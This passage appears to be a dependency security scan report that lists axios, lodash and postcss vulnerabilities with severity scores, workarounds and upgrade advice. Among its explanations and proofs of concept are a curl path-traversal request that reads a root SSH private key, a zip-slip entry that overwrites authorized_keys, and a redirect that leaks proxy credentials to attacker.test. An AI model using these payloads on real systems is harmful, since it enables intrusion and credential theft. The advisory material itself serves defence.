This is only exploitable if the application explicitly configures finite maxContentLength or maxBodyLength limits and relies on the fetch adapter to enforce them.

Workaround

This vulnerability can be mitigated by using the Node.js http adapter for server-side requests, validating or capping attacker-controlled request bodies before passing them to the library, and strictly allowlisting or rejecting attacker-controlled URL schemes, especially data: URLs, before making requests.

PoC

```
js
import http from 'node:http';
import axios from 'axios';

const server = http.createServer((req, res) => {
let received = 0;

req.on('data', chunk => {
received += chunk.length;
});
req.on('end', () => {
res.end(JSON.stringify({ received }));
});
});

await new Promise(resolve => server.listen(0, resolve));
const url = http://127.0.0.1:${server.address().port}/;

await axios.post(url, 'A'.repeat(2 * 1024 * 1024), {
adapter: 'fetch',
maxBodyLength: 1024
});
// Vulnerable versions succeed and the server receives 2097152 bytes.
// Fixed versions reject with ERRBADREQUEST.

server.close();
```

Remediation

Upgrade axios to version 1.16.0 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release

MEDIUM

Insertion of Sensitive Information Into Sent Data

Package: **axios 1.13.1**

CVSS 6	CVE-2026-44487	CWE-201	SNYK-JS-AXIOS-17172930	Exploit: Proof of Concept

Fixed in 0.32.0, 1.16.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.

Note:

This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

PoC

```
js
process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPSPROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
```

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Release
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Release
- GitHub Release

MEDIUM

Prototype Pollution

Package: **lodash 4.17.21**

CVSS 6.9	CVE-2026-2950	CWE-1321	SNYK-JS-LODASH-15869619	Exploit: Not Defined

Fixed in 4.18.1

Introduced through `orangehrm-installer@1.0.0 → @ohrm/oxd@2.0.2 → @revolist/vue3-datagrid@3.2.17 → @revolist/revogrid@3.3.0 → lodash@4.17.21`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the .unset and .omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.

Notes:

1) Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

2) This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server

- Web server

- Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prot

References

- GitHub Advisory
- GitHub Commit
- GitHub Issue

MEDIUM

Allocation of Resources Without Limits or Throttling

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-42036	CWE-770	SNYK-JS-AXIOS-16298162	Exploit: Not Defined

Fixed in 0.31.1, 1.15.1

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit

MEDIUM

Prototype Pollution

Package: **axios 1.13.1**

CVSS 6.3	CVE-2026-42041	CWE-1321	SNYK-JS-AXIOS-16299925	Exploit: Proof of Concept

Fixed in 0.31.1, 1.15.1

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	4.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N/E:P`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N`
CVSS 3.1	8.2	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging.

This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server

- Web server

- Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and prevent

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

MEDIUM

Directory Traversal

Package: **postcss 8.4.35**

CVSS 6.9	CVE-2026-69153	CWE-22	SNYK-JS-POSTCSS-18512282	Exploit: Proof of Concept

Fixed in 8.5.23

Introduced through `orangehrm-installer@1.0.0 → vue@3.4.19 → @vue/compiler-sfc@3.4.19 → postcss@8.4.35`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Directory Traversal in the PreviousMap.loadFile() method of lib/previous-map.js, which nests its traversal guard inside an if (cssFile) branch that is skipped when the from option is unset, leaving only a check that the target path ends in .map. An attacker can read arbitrary .map files from the filesystem, disclosing their sources paths and sourcesContent through the generated source map, by placing an absolute or ../ path in a sourceMappingURL comment in the processed CSS. This requires the application to process attacker-influenced CSS without the from option, with map enabled and the source-map module available, and then expose result.map to the attacker, and the read is limited to JSON-parseable files ending in .map.

Workaround

This vulnerability can be avoided by passing an explicit from option when processing untrusted CSS, which restores the traversal guard that is otherwise skipped.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-45623.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/idrsa

Note %2e is the URL encoded version of . (dot).

- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorizedkeys file:

2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../root/.ssh/authorizedkeys

Remediation
Upgrade postcss to version 8.5.23 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

MEDIUM

Unintended Proxy or Intermediary ('Confused Deputy')

Package: **axios 1.13.1**

CVSS 6.3	CVE-2025-62718	CWE-441	SNYK-JS-AXIOS-15965856	Exploit: Proof of Concept

Fixed in 0.31.0, 1.15.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:P`
CVSS 3.1	5.4	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N/E:P`
CVSS 3.1	7	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L`
CVSS 3.1	9.9	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NOPROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NOPROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.
Remediation
Upgrade axios to version 0.31.0, 1.15.0 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

MEDIUM

Prototype Pollution

Package: **axios 1.13.1**

CVSS 6.3	CVE-2026-67314	CWE-1321	SNYK-JS-AXIOS-18060659	Exploit: Proof of Concept

Fixed in 1.18.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	4.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L/E:P`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the Basic authentication header construction in lib/adapters/http.js and lib/helpers/resolveConfig.js, which read the username and password from the auth object without own-property checks, so the reads traverse the prototype chain. An attacker who can pollute Object.prototype.username or Object.prototype.password can inject or override the Basic auth header on axios requests that pass an empty or partial own auth object, enabling credential exfiltration or outbound request tampering. Exploitation requires a separate prototype pollution primitive already present in the host process and an axios call pattern that supplies an empty or partial auth object, such as auth: opts.auth || {}.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Applicatio

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

MEDIUM

Uncontrolled Recursion

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-67321	CWE-674	SNYK-JS-AXIOS-18060730	Exploit: Proof of Concept

Fixed in 0.33.0, 1.18.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify() recurses through until the call stack overflows with a RangeError. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in {} and nesting beyond roughly 2500 to 3000 levels.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039.

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

MEDIUM

Allocation of Resources Without Limits or Throttling

Package: **axios 1.13.1**

CVSS 6.3	CVE-2026-67318	CWE-770	SNYK-JS-AXIOS-18060804	Exploit: Proof of Concept

Fixed in 1.18.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:P`
CVSS 3.1	4	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:L/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the HTTP/2 stream handling of lib/adapters/http.js, which does not enforce maxBodyLength on streamed uploads because the byte-counting wrapper is gated on config.maxBodyLength > -1 && config.maxRedirects === 0 and the HTTP/2 path bypasses follow-redirects with default redirect settings. An attacker who controls the upload stream can force the application to transmit arbitrarily large outbound payloads, exhausting egress, upstream quota, or connection and memory budgets, by feeding stream contents into an HTTP/2 request with a finite maxBodyLength that the limit check never inspects. Exploitation requires the Node HTTP adapter with httpVersion: 2, request data supplied as a stream, and a finite maxBodyLength, while HTTP/1.1 requests through follow-redirects, buffered String/Buffer/ArrayBuffer bodies, and the default unlimited maxBodyLength: -1 are unaffected.

Workaround

This vulnerability can be avoided on axios 1.15.1 and later by setting maxRedirects: 0 on the affected HTTP/2 streamed upload calls, which activates the existing byte-counting wrapper so oversized streams are rejected.
Remediation
Upgrade axios to version 1.18.0 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

MEDIUM

Allocation of Resources Without Limits or Throttling

Package: **axios 1.13.1**

CVSS 6.3	CVE-2026-67317	CWE-770	SNYK-JS-AXIOS-18065353	Exploit: Proof of Concept

Fixed in 1.18.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the getBodyLength() and resolveBodyLength() functions of lib/adapters/fetch.js, which lack a branch for WHATWG ReadableStream bodies, so the resolved length is undefined and the pre-dispatch maxBodyLength check is skipped. An attacker who controls a streamed request body can transmit uploads that exceed the configured maxBodyLength, causing unexpected outbound egress and consuming upstream API quota or bandwidth, by supplying a ReadableStream without a reliable Content-Length to a fetch-adapter request. Exploitation requires the fetch adapter, a body-bearing method such as POST, PUT, or PATCH, request data supplied as a ReadableStream without a reliable Content-Length, and a finite maxBodyLength, while the Node HTTP adapter and known-length bodies are unaffected.

Workaround

This vulnerability can be avoided in Node.js by using the HTTP adapter (adapter: "http") for untrusted stream uploads, which enforces the stream body limit that the fetch adapter does not.
Remediation
Upgrade axios to version 1.18.0 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

MEDIUM

Prototype Pollution

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-101902	CWE-1321	SNYK-JS-AXIOS-20245050	Exploit: Proof of Concept

Fixed in 0.34.0, 1.20.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N/E:P`
CVSS 3.1	6.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via insufficiently hardened runtime option handling in the fetch and HTTP adapters (lib/adapters/fetch.js, lib/adapters/http.js, and related helpers), where user-controlled or prototype-polluted properties on request configuration objects are merged into fetch/request options without sanitization. An attacker who can introduce a prototype-pollution gadget elsewhere in the application can inject arbitrary properties into the resolved fetch options, leading to integrity violations on outbound requests.

Note: This is only exploitable if an existing prototype-pollution path is present in the application.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server

- Web server

- Web browser

How to prevent

